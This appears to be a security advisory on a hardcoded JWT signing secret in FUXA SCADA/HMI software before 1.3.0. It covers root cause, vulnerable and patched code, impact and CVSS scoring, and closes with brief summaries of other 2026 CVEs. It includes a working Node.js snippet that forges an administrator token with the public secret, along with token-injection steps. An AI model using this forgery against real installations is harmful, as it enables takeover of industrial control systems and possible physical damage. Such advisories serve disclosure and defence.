Mar 7, 2026·5 min read·48 visits
FUXA < 1.3.0 uses a hardcoded default secret ('frangoteam751') to sign session tokens if no custom secret is configured. Attackers can use this public string to forge administrative JWTs and take over the SCADA system. Fixed in version 1.3.0.
FUXA, a web-based Process Visualization (SCADA/HMI) software, contains a critical authentication bypass vulnerability due to the use of a hardcoded fallback secret for JSON Web Token (JWT) signing. In versions prior to 1.3.0, if a user did not explicitly configure a `secretCode`, the application defaulted to the static string 'frangoteam751'. This secret was publicly exposed in the project's source code and documentation. An attacker with knowledge of this secret can forge valid authentication tokens, impersonating any user—including administrators—thereby gaining full control over the HMI system and potentially affecting connected industrial processes.
FUXA is an open-source web-based Human-Machine Interface (HMI) and SCADA software used for process visualization and industrial automation. It relies on JSON Web Tokens (JWT) to manage user sessions and authentication state. Ideally, the cryptographic secret used to sign these tokens should be unique to each installation and kept confidential.
However, versions of FUXA prior to 1.3.0 implemented a fallback mechanism that utilized a static, hardcoded string—frangoteam751—whenever the administrator did not manually define a secretCode in the configuration. This vulnerability, identified as GHSA-c8m8-3jcr-6rj5, is a classic example of CWE-798: Use of Hardcoded Credentials.
Because the fallback secret is embedded in the open-source codebase and was even documented in the project's Wiki, it is effectively public knowledge. This flaw fundamentally breaks the trust model of the application's authentication. Any actor aware of this default configuration can generate valid session tokens without needing to compromise a database or crack passwords, leading to direct privilege escalation.
The vulnerability stems from an insecure default configuration in the server's initialization logic. When the FUXA server starts, it attempts to load security settings, including the secret key used for HMAC-SHA256 signing of JWTs. The application logic checked for the presence of a user-defined secret but provided a static string as a fallback to ensure the application would run 'out of the box' without complex setup.
The root cause lies specifically in the fallback value being a constant string rather than a randomly generated value. In secure design patterns, if a critical security parameter is missing, the application should either fail to start (forcing the user to configure it) or generate a cryptographically strong random value at runtime and persist it securely.
By defaulting to frangoteam751, the application created a predictable attack surface. Since many deployments of software rely on default configurations—especially in OT/IoT environments where ease of deployment is prioritized—a significant number of installations likely remain vulnerable to this trivial authentication bypass.
The vulnerability existed in the configuration loading module of the FUXA server. Below is a representation of the vulnerable logic found in versions prior to 1.3.0.
Vulnerable Implementation:
The code utilized a simple logical OR (||) to assign the secret. If config.secretCode was undefined or null, the hardcoded string was used immediately.
// In secure implementations, this should never be a static string
const secret = config.secretCode || 'frangoteam751';
// This secret is then used to sign tokens
const token = jwt.sign(payload, secret, options);Patched Implementation (v1.3.0):
In the patched version, the hardcoded fallback was removed. The remediation strategy involves ensuring that a unique secret is available. While the exact patch details rely on context, the standard fix for this pattern involves generating a random string if one is not provided.
// Conceptual fix in v1.3.0
const crypto = require('crypto');
let secret = config.secretCode;
if (!secret) {
// Generate a secure random secret if none exists
secret = crypto.randomBytes(64).toString('hex');
// Ideally, this new secret is then saved to the config file
saveConfig({ secretCode: secret });
}This change ensures that even if an administrator neglects to configure a secret, the application generates a unique key that an external attacker cannot guess.
Exploiting this vulnerability requires no specialized tools beyond a standard JWT library and knowledge of the target's user structure (which is often standard, e.g., 'admin'). The attack vector is strictly network-based and relies on the target instance running with the default configuration.
Prerequisites:
secretCode configuration.Attack Steps:
HS256 (HMAC with SHA-256) and sign the payload with the known secret frangoteam751.const jwt = require('jsonwebtoken');
// Construct a payload granting administrative privileges
const payload = {
user: 'admin',
role: 'administrator',
// Standard claims like expiry may be required depending on validation logic
exp: Math.floor(Date.now() / 1000) + (60 * 60)
};
// Sign with the hardcoded secret
const forgedToken = jwt.sign(payload, 'frangoteam751');
console.log(forgedToken);Injection: The attacker navigates to the FUXA interface and injects this forged token into the browser's storage (LocalStorage or Cookies) or includes it in the Authorization header of API requests.
Access: Upon refreshing the page or sending a request, the server validates the signature against the hardcoded secret. Since they match, the server accepts the session as valid, granting the attacker full administrative access.
The impact of this vulnerability is severe, particularly given the operational context of FUXA as a SCADA/HMI solution. Successful exploitation allows for complete system compromise.
Confidentiality: Attackers can view sensitive process data, visualization layouts, and potentially proprietary industrial configurations. The CVSS metric for Confidentiality is High.
Integrity: Attackers can modify process parameters, change visualization logic, or alter alarm thresholds. In an industrial context, this could lead to physical equipment damage, spoilage of goods, or safety hazards. The CVSS metric for Integrity is High.
Privilege Escalation: The vulnerability allows a low-privileged user (or an unauthenticated user if the endpoint allows anonymous token submission) to elevate privileges to Administrator. While the CVSS vector notes PR:L (Low Privileges Required), the nature of JWT forgery often acts as a full authentication bypass if the attacker can guess a valid username.
Availability: While the direct impact is not Denial of Service, an attacker with administrative access could easily shut down the server or disrupt operations, indirectly affecting availability.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
FUXA FrangoTeam | < 1.3.0 | 1.3.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-798 |
| CVSS v3.1 | 8.1 (High) |
| Attack Vector | Network |
| Privileges Required | Low |
| Attack Complexity | Low |
| Confidentiality Impact | High |
| Integrity Impact | High |
The software contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.
CVE-2026-115895 is a high-severity code injection vulnerability (CWE-94) in the happy-dom npm package prior to version 21.0.4. The vulnerability exists within the ECMAScriptModuleCompiler component, which transforms ECMAScript module syntax into executable Node.js functions when JavaScript evaluation is enabled. Due to an incomplete fix for CVE-2026-33943, the compiler failed to validate local named import aliases against legal JavaScript identifier rules. Attackers supplying crafted module imports—specifically utilizing destructuring default initializers alongside JSON module attributes—can inject arbitrary JavaScript expressions directly into the host Node.js runtime context.
An improper input validation and authorization bypass vulnerability exists in the LangGraph storage layer affecting langgraph, langgraph-checkpoint-postgres, and langgraph-checkpoint-sqlite. Because relational store implementations serialize namespace tuples into dot-delimited strings without validating labels on read, search, delete, and batch operations, an attacker who controls a namespace label can inject periods (.) to traverse namespace boundaries and access, modify, or delete data belonging to other namespaces.
CVE-2026-115886 (GHSA-2wqp-q3c6-ccj5) is a Server-Side Request Forgery (SSRF) and Unsafe Reflection vulnerability in MLflow versions 3.12.0rc0 prior to 3.17.0. Unauthenticated REST API endpoints accept serialized third-party scorer JSON payloads that are dynamically deserialized and reflectively instantiated without sanitizing constructor keyword arguments. When optional dependencies such as trulens and trulens-providers-litellm are installed, attackers can inject egress-steering arguments into the scorer payload, forcing the MLflow server to dispatch outbound HTTP requests to arbitrary internal destinations or cloud metadata services.
CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.
CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.
CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.